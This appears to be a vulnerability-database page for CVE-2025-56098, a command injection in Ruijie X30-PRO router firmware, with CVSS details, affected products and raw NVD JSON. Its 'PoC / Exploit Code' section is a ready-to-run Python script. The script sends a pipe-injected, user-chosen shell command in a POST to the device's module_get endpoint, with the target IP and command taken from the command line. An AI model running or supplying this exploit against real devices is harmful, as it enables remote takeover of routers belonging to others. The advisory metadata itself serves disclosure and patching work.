Security Vulnerability Report
中文
CVE-2025-56098 CVSS 8.8 HIGH

CVE-2025-56098

Published: 2025-12-11 19:15:56
Last Modified: 2026-01-27 17:58:04

Description

OS Command Injection vulnerability in Ruijie X30-PRO X30-PRO-V1_09241521 allowing attackers to execute arbitrary commands via a crafted POST request to the module_get in file /usr/local/lua/dev_sta/networkConnect.lua.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:ruijie:x30_pro_firmware:-:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:ruijie:x30_pro:1.0:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:ruijie:rg-ew300_pro_firmware:3.0\(1\)b11p219:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:ruijie:rg-ew300_pro:-:*:*:*:*:*:*:* - NOT VULNERABLE
Ruijie X30-PRO V1_09241521

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-56098 PoC - Ruijie X30-PRO OS Command Injection # Target: Ruijie X30-PRO device # Vulnerability: OS Command Injection in module_get via networkConnect.lua def exploit_cve_2025_56098(target_ip, target_port=80, command='whoami'): """ Exploit OS Command Injection in Ruijie X30-PRO Args: target_ip: Target device IP address target_port: Target device port (default: 80) command: OS command to execute Returns: Response from the vulnerable endpoint """ url = f'http://{target_ip}:{target_port}/cgi-bin/dev_sta/module_get' # Inject OS command using pipe or semicolon separator payload = f'|{command}' data = { 'module': 'networkConnect', 'param': payload } headers = { 'Content-Type': 'application/x-www-form-urlencoded', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)' } try: print(f'[*] Targeting {target_ip}:{target_port}') print(f'[*] Executing command: {command}') response = requests.post(url, data=data, headers=headers, timeout=10) print(f'[+] Response Status: {response.status_code}') print(f'[+] Response:\n{response.text}') return response except requests.exceptions.RequestException as e: print(f'[-] Error: {e}') return None if __name__ == '__main__': if len(sys.argv) < 2: print(f'Usage: python {sys.argv[0]} <target_ip> [command]') print(f'Example: python {sys.argv[0]} 192.168.1.1 whoami') sys.exit(1) target = sys.argv[1] cmd = sys.argv[2] if len(sys.argv) > 2 else 'whoami' exploit_cve_2025_56098(target, 80, cmd)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-56098", "sourceIdentifier": "[email protected]", "published": "2025-12-11T19:15:55.743", "lastModified": "2026-01-27T17:58:03.720", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OS Command Injection vulnerability in Ruijie X30-PRO X30-PRO-V1_09241521 allowing attackers to execute arbitrary commands via a crafted POST request to the module_get in file /usr/local/lua/dev_sta/networkConnect.lua."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-78"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:ruijie:x30_pro_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "467678E1-6A87-4C42-98CD-CB970BCB53DF"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:ruijie:x30_pro:1.0:*:*:*:*:*:*:*", "matchCriteriaId": "94BA1D95-3F5C-4888-AF37-287F843CA80D"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:ruijie:rg-ew300_pro_firmware:3.0\\(1\\)b11p219:*:*:*:*:*:*:*", "matchCriteriaId": "5A2F0026-B379-46FF-BFC5-56F0C2CB5A58"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:ruijie:rg-ew300_pro:-:*:*:*:*:*:*:*", "matchCriteriaId": "76F60F45-CF3C-4E10-AFAC-231318B1182F"}]}]}], "references": [{"url": "https://1drv.ms/f/c/12406a392c92914b/EtGIxwWujwxBvQhL9wgnUIwBkg-mndJJX07Igr6d0cic-g?e=4KJbWY", "source": "[email protected]", "tags": ["Broken Link", "Exploit"]}, {"url": "https://1drv.ms/t/c/12406a392c92914b/EYC9-EvSxKZOum9kuAtPDq4BjKb0c8IV6B52lDEAD33pEA?e=2C0BKO", "source": "[email protected]", "tags": ["Broken Link", "Exploit"]}, {"url": "https://github.com/flegoity/Ruijie-Multiple-Devices-Vulnerability-Reports-for-CVE/blob/main/CVE-2025-56098.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}